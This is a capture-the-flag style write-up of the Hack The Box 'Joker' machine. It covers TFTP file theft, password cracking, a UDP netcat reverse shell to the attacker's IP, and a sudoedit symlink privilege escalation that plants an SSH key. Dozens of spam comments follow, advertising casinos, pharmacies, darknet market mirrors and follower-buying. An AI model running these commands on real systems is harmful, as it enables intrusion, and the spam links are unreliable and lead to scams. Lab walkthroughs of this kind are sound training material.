Joker

Our initial nMap scan shows that port 22 is open along with port 3128. The latter shows us Squid Proxy 3.5.12 is running on the target.

Let’s setup Foxy Proxy to direct through Squid in the event we need it:

When I navigated to 127.0.0.1 Firefox just spun its wheels, so let’s bring up the Proxy settings within Firefox and re-configure it:

Make sure you disable FoxyProxy and then navigate to 127.0.0.1 again:

And that didn’t work for me either. So, being at a dead end, let’s do a UDP scan of the box: nmap -sU –top-port 200 10.10.10.21

It looks like port 69 is running TFTP, so let’s see if we can connect to it: tftp 10.10.10.21

Once we’re logged in there isn’t a whole lot we can do. TFTP will let you download files, but you need to know what you’re looking for since you can’t exactly browse the directory:

A quick Google search indicates that the squid.conf files is in /etc/squid, so let’s try to get it:

If we cat the file, we can see there’s a lot going on in it, including a lot of #’s which indicate comments. Let’s see if we can grep all of that out: cat squid.conf | grep -v ‘#’ | grep .

It looks like passwords may be stored in /etc/squid/passwords. Let’s see if we can get that bad boy too and take a look at it: get /etc/squid/passwords

Since this file has only one password in it and it looks like it’s ready for John The Ripper, let’s run it: john passwords -wordlist=/usr/share/wordlists/rockyou.txt

Now that we have a username and a password let’s update FoxyProxy and then navigate to 127.0.0.1

Well, at least something came up this time. Since we now have our proxy working properly, let’s do a little HTTP enumeration with Nikto: nikto -host 127.0.0.1 -useproxy http://10.10.10.21:3128 and then enter the username and password you got earlier when prompted for the Proxy ID:

After a while Nikto finished, but didn’t have anything helpful, so I tried Gobuster: gobuster dir -u http://127.0.0.1 -p http://kalamari:[email protected]:3128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40

We can see pretty quickly that /console is a valid directory, so let’s go there: 127.0.0.1/console

We can run a couple of commands to see what we’re working with on this box. One thing we want to determine is if NetCat is present, and if so, what options does it support:

So the version of NetCat on this box does not support the -e flag, so we’ll have to use another shell from the Reverse Shell Cheat Sheet from PenTest monkey: os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 1234 >/tmp/f &”).read()

And I sent it, and now my process is hanging. So I should have added an & to the end of my command. Time to reboot the box and try again: os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 1234 >/tmp/f &”).read()

After sending it again, no connection. So let’s troubleshoot this and see if we can get pings to get through. To do that, we’ll start by using TCP dump to see what our machine is receiving: tcpdump -i tun0 icmp

Then, from our Interactive console, let’s ping our Kali box: os.popen(“ping -c 4 10.10.14.16 &”).read()

The interactive console said that the pings went through, but I didn’t see anything on my end. So let’s see if we can look at the firewall rules on the box through this interactive console: with open(‘/etc/iptables/rules.v4’, ‘r’) as f: print(f.read())

We can see based on the screen shot that the firewall is accepting UDP requests, and not TCP for anything other than port 22 and 3128. So our shell needs to be UDP.

We need to first modify our NetCat listener to listen for UDP, so we’ll do nc -u -lvp 1234

Then, we’ll update our previous NetCat connection with -u for UDP: os.popen(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.16 1234 >/tmp/f &”).read()

And we get a shell!

Priv Esc

With any shell, one of the first things we want to check is sudo -l

I checked https://gtfobins.github.io/ to see if sudoedit was there, it wasn’t. So I did some Googling and came across this: https://www.exploit-db.com/exploits/37710

The important pieces above are the */*/ wildcards in the directory and then the reference to the symbolic link. What’s a symbolic link? Good question: It’s simply a reference to another file.

Now, they patched this vulnerability in Sudo 1.8.14 but then later added a flag called sudoedit_follow to allow user’s to still do stuff. Here’s the info from https://www.sudo.ws/man/sudoers.man.html

So what we need to do is create a directory somewhere in /var/www/ that after two more directories has layout.html. And what we can do is create a symbolic link to that file and write things to the unintended file. Let’s do this step by step by checking our pwd:

So we’re now in /var/www/testing/zoph and the /testing/zoph make up the /*/* wildcard directories. From here we’ll create a symbolic link to the file we want to modify, in this case the user’s, alekos, authroized_keys file: ln -s /home/alekos/.ssh/authorized_keys layout.html

Now, we can edit the file with sudoedit -u alekos /var/www/testing/zoph/layout.html and paste our public key in there. But that takes nano, so we need to get a decent shell: python -c ‘import pty; pty.spawn(“/bin/bash”)’

Once we have that shell we can then open up our file with sudoedit: sudoedit -u alekos /var/www/testing/zoph/layout.html

Now, from our Kali box, let’s create a key with ssh-keygen

Grab the contents of ssh_key.pub and save it in your layout.html

Now…I was having some issues saving my shell. It kept closing on me when I was trying to exit out of Nano. I followed these steps and I was good to go and was able to execute a Ctrl + X to exit out of Nano without killing my shell.

Now we can connect from our Kali box via SSH to our target machine with our new key: ssh [email protected] -i ~/Documents/HTB/Joker/ssh_key

39 thoughts on “Joker”

  1. На этом сайте вы сможете найти свежие промокоды ЦУМ https://tsum.egomoda.ru.
    Применяйте эти купоны, чтобы получить скидки на покупки.
    Акции обновляются, поэтому следите за новыми предложениями.
    Экономьте на товары с лучшими промокодами из ЦУМ.

  2. На этом сайте представлена полезная информация о лечении депрессии, в том числе у возрастных пациентов.
    Здесь можно узнать методы диагностики и подходы по улучшению состояния.
    http://barry-wehmiller-company.net/__media__/js/netsoltrademark.php?d=empathycenter.ru%2Farticles%2Fmeksidol-dlya-chego-naznachayut%2F
    Особое внимание уделяется психологическим особенностям и их влиянию на психическим здоровьем.
    Также рассматриваются современные терапевтические и немедикаментозные методы поддержки.
    Статьи помогут разобраться, как правильно подходить к угнетенным состоянием в пожилом возрасте.

  3. На данном сайте вы можете купить оценки и подписчиков для Instagram. Это позволит повысить вашу известность и привлечь новую аудиторию. Здесь доступны быструю доставку и надежный сервис. Выбирайте подходящий тариф и продвигайте свой аккаунт без лишних усилий.
    Накрутка Инстаграм купить дешево

  4. Получение сертификата на продукцию играет ключевую роль в обеспечении качества и безопасности. Она помогает создаёт положительную репутацию компании. Продукция, прошедшая сертификацию имеет преимущество на рынке. К тому же, сертификация снижает риски. Не стоит забывать, что сертификация может быть обязательной или добровольной.
    сертификация продукции

  5. This online pharmacy features a wide range of health products at affordable prices.
    Customers can discover all types of medicines for all health requirements.
    Our goal is to keep safe and effective medications without breaking the bank.
    Fast and reliable shipping ensures that your medication gets to you quickly.
    Experience the convenience of shopping online on our platform.
    https://www.apsense.com/article/839211-the-underground-empire-kamagra-100-online-s-dark-secrets.html

  6. На территории Российской Федерации сертификация играет важную роль для подтверждения соответствия продукции установленным стандартам. Она необходима как для производителей, так и для потребителей. Наличие сертификата подтверждает, что продукция прошла все необходимые проверки. Это особенно важно в таких отраслях, как пищевая промышленность, строительство и медицина. Прошедшие сертификацию компании чаще выбираются потребителями. Также это часто является обязательным условием для выхода на рынок. Таким образом, соблюдение сертификационных требований обеспечивает стабильность и успех компании.
    сертификация товаров

  7. На данной платформе вы найдете клинику ментального здоровья, которая предоставляет психологические услуги для людей, страдающих от тревоги и других ментальных расстройств. Эта индивидуальный подход для восстановления психического здоровья. Наши опытные психологи готовы помочь вам преодолеть трудности и вернуться к сбалансированной жизни. Квалификация наших врачей подтверждена множеством положительных отзывов. Свяжитесь с нами уже сегодня, чтобы начать путь к восстановлению.
    http://liebertatlanta.com/__media__/js/netsoltrademark.php?d=empathycenter.ru%2Fpreparations%2Ff%2Ffenibut%2F

  8. It is the best time to make some plans for the future and it is time to be happy. I have read this post and if I could I wish to suggest you some interesting things or suggestions. Maybe you can write next articles referring to this article. I want to read more things about it!

  9. Предлагаем услуги проката автобусов и микроавтобусов с водителем большим организациям, бизнеса любого масштаба, а также для частных клиентов.
    Прокат микроавтобусов
    Гарантируем максимально комфортную и спокойную транспортировку для коллективов, предусматривая заказы на свадебные мероприятия, корпоративные встречи, туристические поездки и все типы мероприятий в Челябинске и Челябинской области.

  10. В текущем году в стиле будут яркие тенденции. Кутюрье выделяют природные ткани и оригинальные силуэты. Среди оттенков доминируют приглушенные цвета, однако кричащие детали останутся в тренде. Бренды уделяют особое внимание массивных украшениях. Актуальны ретро нотки и авангардный подход.
    https://forum.mban.com.np/showthread.php?tid=7&pid=430#pid430

  11. Luxury timepieces have long been synonymous with precision. Meticulously designed by renowned artisans, they seamlessly blend heritage with innovation.
    All elements reflect exceptional attention to detail, from precision-engineered calibers to premium finishes.
    Investing in a Swiss watch is more than a way to check the hour. It represents timeless elegance and uncompromising quality.
    Whether you prefer a bold statement piece, Swiss watches provide unparalleled beauty that stands the test of time.
    https://sportfanszone.com/forums/topic/your-everyday-watch/

  12. Luxury timepieces have long been a benchmark of excellence. Expertly made by legendary artisans, they combine classic techniques with innovation.
    Every component embody exceptional quality, from hand-assembled movements to premium elements.
    Owning a timepiece is not just about telling time. It stands for sophisticated style and heritage craftsmanship.
    Be it a bold statement piece, Swiss watches deliver remarkable precision that stands the test of time.
    http://www.tyrfing-rp.dk/forum/viewtopic.php?f=14&t=26767

  13. Darknet — это анонимная область интернета, доступ к которой исключительно через специальные программы, например, через Tor.
    Здесь доступны как законные, так и запрещенные ресурсы, среди которых форумы и различные платформы.
    Одной из крупнейших онлайн-площадок была Black Sprut, что занималась реализации различных товаров, среди которых противозаконные товары.
    https://bs2best
    Подобные сайты нередко работают через анонимные платежи в целях анонимности транзакций.
    При этом, правоохранительные органы регулярно закрывают основные даркнет-площадки, но на их месте появляются другие ресурсы.

  14. Our store provides a wide range of high-quality pharmaceutical products for various needs.
    Our platform guarantees quick and reliable order processing wherever you are.
    Every item is sourced from certified manufacturers for guaranteed authenticity and compliance.
    Easily search through our catalog and get your medicines in minutes.
    Got any concerns? Pharmacy experts are here to help at any time.
    Prioritize your well-being with affordable medical store!
    https://www.producthunt.com/discussions/does-your-company-take-care-of-employees-mental-health-how

  15. Сертификация на территории РФ по-прежнему считается ключевым процессом обеспечения безопасности товаров.
    Система сертификации гарантирует полное соответствие государственным стандартам и официальным требованиям, что защищает конечных пользователей от небезопасной продукции.
    сертификация товаров
    К тому же, официальное подтверждение качества облегчает взаимодействие с заказчиками и открывает возможности на рынке.
    Если продукция не сертифицирована, может возникнуть проблемы с законом и ограничения при ведении бизнеса.
    Вот почему, официальное подтверждение качества не только требованием законодательства, но и важным фактором для успешного развития компании в России.

  16. Обзор BlackSprut: ключевые особенности
    Сервис BlackSprut вызывает обсуждения широкой аудитории. Но что это такое?
    Эта площадка предоставляет интересные функции для тех, кто им интересуется. Оформление системы характеризуется функциональностью, что позволяет ей быть доступной даже для новичков.
    Важно отметить, что BlackSprut имеет свои особенности, которые формируют его имидж на рынке.
    Обсуждая BlackSprut, нельзя не упомянуть, что определенная аудитория оценивают его по-разному. Некоторые подчеркивают его удобство, другие же относятся к нему с осторожностью.
    Таким образом, эта платформа продолжает быть темой дискуссий и вызывает интерес широкой аудитории.
    Ищете актуальное зеркало БлэкСпрут?
    Если ищете обновленный домен БлэкСпрут, то вы по адресу.
    bs2best at
    Сайт может меняться, и лучше иметь обновленный домен.
    Свежий доступ легко найти здесь.
    Посмотрите актуальную версию сайта у нас!

  17. Мы занимается помощью приезжих в СПб.
    Предоставляем услуги в подготовке разрешений, прописки, и процедурах, для официального трудоустройства.
    Наши эксперты помогают по всем юридическим вопросам и дают советы оптимальные варианты.
    Оказываем поддержку как с временным пребыванием, и в вопросах натурализации.
    С нашей помощью, вы сможете быстрее адаптироваться, упростить оформление документов и спокойно жить в этом прекрасном городе.
    Пишите нам, для консультации и помощи!
    https://spb-migrant.ru/

  18. Наш сервис предлагает сопровождением мигрантов в Санкт-Петербурге.
    Мы помогаем в оформлении разрешений, временной регистрации, и процедурах, касающихся работы.
    Наши специалисты разъясняют по всем юридическим вопросам и дают советы оптимальные варианты.
    Оказываем поддержку в оформлении ВНЖ, а также по получению гражданства.
    С нашей помощью, процесс адаптации станет проще, решить все юридические формальности и комфортно устроиться в этом прекрасном городе.
    Обращайтесь, и мы подробно расскажем обо всех возможностях!
    https://spb-migrant.ru/

  19. Buying medications from e-pharmacies has become far simpler than shopping in person.
    There’s no reason to wait in line or stress over closing times.
    Internet drugstores give you the option to get your medications from home.
    A lot of digital pharmacies have better prices unlike brick-and-mortar pharmacies.
    https://www.bookup.com/forum/viewtopic.php?f=6&t=119368
    Additionally, it’s possible to check alternative medications without hassle.
    Reliable shipping means you get what you need fast.
    Have you tried buying medicine online?

  20. Здесь можно найти последние новости мировой политики. Частые обновления дают возможность оставаться в курсе главных новостей. Вы узнаете о дипломатических переговорах. Объективная аналитика позволяют разобраться в деталях. Следите за новостями на этом сайте.
    https://justdoitnow03042025.com

  21. Любители азартных игр всегда найдут рабочее альтернативный адрес казино Чемпион и наслаждаться популярными автоматами.
    На платформе доступны различные игровые автоматы, от ретро-автоматов до современных, и последние игры от ведущих производителей.
    Если главный ресурс временно заблокирован, зеркало казино Чемпион поможет обойти ограничения и продолжить игру.
    https://casino-champions-slots.ru
    Все возможности остаются доступными, начиная от создания аккаунта, депозиты и вывод выигрышей, и акции для игроков.
    Используйте актуальную ссылку, чтобы играть без ограничений!

  22. Здесь вам открывается шанс наслаждаться обширной коллекцией слотов.
    Эти слоты славятся живой визуализацией и интерактивным игровым процессом.
    Каждая игра даёт индивидуальные бонусные функции, увеличивающие шансы на выигрыш.
    1xbet игровые автоматы
    Слоты созданы для любителей азартных игр всех мастей.
    Вы можете играть бесплатно, а затем перейти к игре на реальные деньги.
    Проверьте свою удачу и получите удовольствие от яркого мира слотов.

  23. На этом сайте вы можете наслаждаться большим выбором слотов.
    Эти слоты славятся живой визуализацией и захватывающим игровым процессом.
    Каждый слот предлагает уникальные бонусные раунды, увеличивающие шансы на выигрыш.
    1 win
    Слоты созданы для любителей азартных игр всех мастей.
    Есть возможность воспользоваться демо-режимом, после чего начать играть на реальные деньги.
    Испытайте удачу и насладитесь неповторимой атмосферой игровых автоматов.

  24. На данном ресурсе доступны популярные слот-автоматы.
    Мы собрали лучшую коллекцию автоматов от топ-разработчиков.
    Любой автомат обладает интересным геймплеем, бонусными функциями и честными шансами на выигрыш.
    https://telegra.ph/Jozz-Casino-Otkrojte-dlya-sebya-mir-azartnyh-igr-02-15
    Пользователи могут играть в демо-режиме или выигрывать настоящие призы.
    Навигация по сайту просты и логичны, что облегчает поиск игр.
    Если вы любите азартные игры, этот сайт — отличный выбор.
    Присоединяйтесь прямо сейчас — азарт и удача уже рядом!

  25. На данной платформе вы найдёте лучшие онлайн-автоматы от казино Champion.
    Выбор игр включает проверенные временем слоты и актуальные новинки с качественной анимацией и уникальными бонусами.
    Любая игра создан для максимального удовольствия как на компьютере, так и на планшетах.
    Будь вы новичком или профи, здесь вы найдёте подходящий вариант.
    скачать приложение
    Автоматы доступны без ограничений и работают прямо в браузере.
    Дополнительно сайт предусматривает акции и обзоры игр, для улучшения опыта.
    Погрузитесь в игру уже сегодня и испытайте удачу с брендом Champion!

  26. На этом сайте представлены онлайн-игры от казино Vavada.
    Каждый пользователь может подобрать подходящую игру — от классических игр до новейших разработок с анимацией.
    Платформа Vavada открывает возможность сыграть в популярных игр, включая прогрессивные слоты.
    Все игры запускается круглосуточно и оптимизирован как для компьютеров, так и для мобильных устройств.
    вавада зеркало
    Каждый геймер ощутит атмосферой игры, не выходя из любимого кресла.
    Интерфейс сайта проста, что позволяет быстро найти нужную игру.
    Начните прямо сейчас, чтобы открыть для себя любимые слоты!

  27. Онлайн-площадка — официальная страница независимого детективного агентства.
    Мы организуем помощь в решении деликатных ситуаций.
    Штат профессионалов работает с предельной конфиденциальностью.
    Мы берёмся за проверку фактов и детальное изучение обстоятельств.
    Детективное агентство
    Каждое дело рассматривается индивидуально.
    Задействуем проверенные подходы и соблюдаем юридические нормы.
    Если вы ищете реальную помощь — вы нашли нужный сайт.

  28. The site offers various prescription drugs for online purchase.
    Customers are able to quickly get health products from anywhere.
    Our range includes standard solutions and custom orders.
    Each item is supplied through verified distributors.
    https://www.provenexpert.com/en-us/prigil-online/
    We ensure user protection, with data protection and on-time dispatch.
    Whether you’re managing a chronic condition, you’ll find trusted options here.
    Visit the store today and get trusted access to medicine.

  29. Hi there! This post couldn’t be written any better! Reading through this post reminds me of my previous room mate! He always kept talking about this. I will forward this post to him. Pretty sure he will have a good read. Thank you for sharing!

  30. Here, you can find lots of online slots from famous studios.
    Players can enjoy retro-style games as well as modern video slots with stunning graphics and interactive gameplay.
    Whether you’re a beginner or a casino enthusiast, there’s always a slot to match your mood.
    casino games
    The games are ready to play 24/7 and optimized for laptops and smartphones alike.
    All games run in your browser, so you can get started without hassle.
    Site navigation is easy to use, making it convenient to find your favorite slot.
    Sign up today, and enjoy the thrill of casino games!

  31. I discovered your blog site on google and check a few of your early posts. Continue to keep up the very good operate. I just additional up your RSS feed to my MSN News Reader. Seeking forward to reading more from you later on!…

  32. Traditional timepieces will continue to be timeless.
    They symbolize heritage and showcase a human touch that smartwatches simply cannot match.
    Each piece is powered by tiny components, making it both useful and sophisticated.
    Timepiece lovers cherish the hand-assembled parts.
    https://evertonfcfansclub.com/read-blog/8148
    Wearing a mechanical watch is not just about checking hours, but about making a statement.
    Their styles are timeless, often passed from father to son.
    All in all, mechanical watches will never go out of style.

  33. On this platform, you can find lots of casino slots from top providers.
    Users can experience retro-style games as well as modern video slots with high-quality visuals and bonus rounds.
    Whether you’re a beginner or a seasoned gamer, there’s always a slot to match your mood.
    play aviator
    Each title are ready to play round the clock and designed for laptops and smartphones alike.
    No download is required, so you can jump into the action right away.
    The interface is user-friendly, making it quick to find your favorite slot.
    Sign up today, and enjoy the world of online slots!

  34. Our platform presents multifunctional timepieces from reputable makers.
    Browse through modern disc players with digital radio and dual wake options.
    Many models include aux-in ports, charging capability, and memory backup.
    The selection extends from budget-friendly options to elite choices.
    hello kitty alarm clock cd player
    All clocks boast sleep timers, rest timers, and bright LED displays.
    Order today through Walmart with free delivery.
    Select the best disc player alarm clock for home or office use.

  35. On this platform, you can find lots of slot machines from top providers.
    Visitors can enjoy retro-style games as well as modern video slots with high-quality visuals and bonus rounds.
    Even if you’re new or an experienced player, there’s always a slot to match your mood.
    play aviator
    The games are instantly accessible 24/7 and optimized for desktop computers and tablets alike.
    You don’t need to install anything, so you can jump into the action right away.
    Site navigation is intuitive, making it convenient to find your favorite slot.
    Register now, and dive into the world of online slots!

  36. equilibrado dinámico
    Dispositivos de calibración: importante para el desempeño estable y eficiente de las maquinarias.

    En el ámbito de la innovación actual, donde la eficiencia y la seguridad del sistema son de alta importancia, los equipos de ajuste cumplen un función vital. Estos equipos dedicados están creados para equilibrar y estabilizar elementos giratorias, ya sea en herramientas de fábrica, automóviles de movilidad o incluso en electrodomésticos caseros.

    Para los expertos en mantenimiento de dispositivos y los especialistas, trabajar con equipos de calibración es crucial para proteger el rendimiento estable y fiable de cualquier aparato dinámico. Gracias a estas herramientas avanzadas innovadoras, es posible limitar significativamente las oscilaciones, el estruendo y la carga sobre los rodamientos, extendiendo la tiempo de servicio de piezas costosos.

    Igualmente relevante es el papel que desempeñan los equipos de calibración en la atención al usuario. El asistencia técnico y el reparación regular usando estos equipos habilitan dar servicios de alta excelencia, elevando la agrado de los compradores.

    Para los titulares de negocios, la contribución en estaciones de equilibrado y medidores puede ser clave para mejorar la rendimiento y desempeño de sus aparatos. Esto es principalmente trascendental para los dueños de negocios que administran medianas y modestas organizaciones, donde cada punto cuenta.

    Asimismo, los equipos de balanceo tienen una amplia utilización en el campo de la protección y el control de calidad. Permiten encontrar probables problemas, previniendo mantenimientos onerosas y problemas a los equipos. También, los resultados recopilados de estos sistemas pueden utilizarse para mejorar procesos y aumentar la presencia en plataformas de búsqueda.

    Las sectores de uso de los aparatos de equilibrado cubren variadas industrias, desde la elaboración de ciclos hasta el monitoreo de la naturaleza. No afecta si se habla de importantes fabricaciones productivas o pequeños espacios de uso personal, los aparatos de ajuste son esenciales para asegurar un desempeño eficiente y sin riesgo de paradas.

Leave a Reply

Your email address will not be published. Required fields are marked *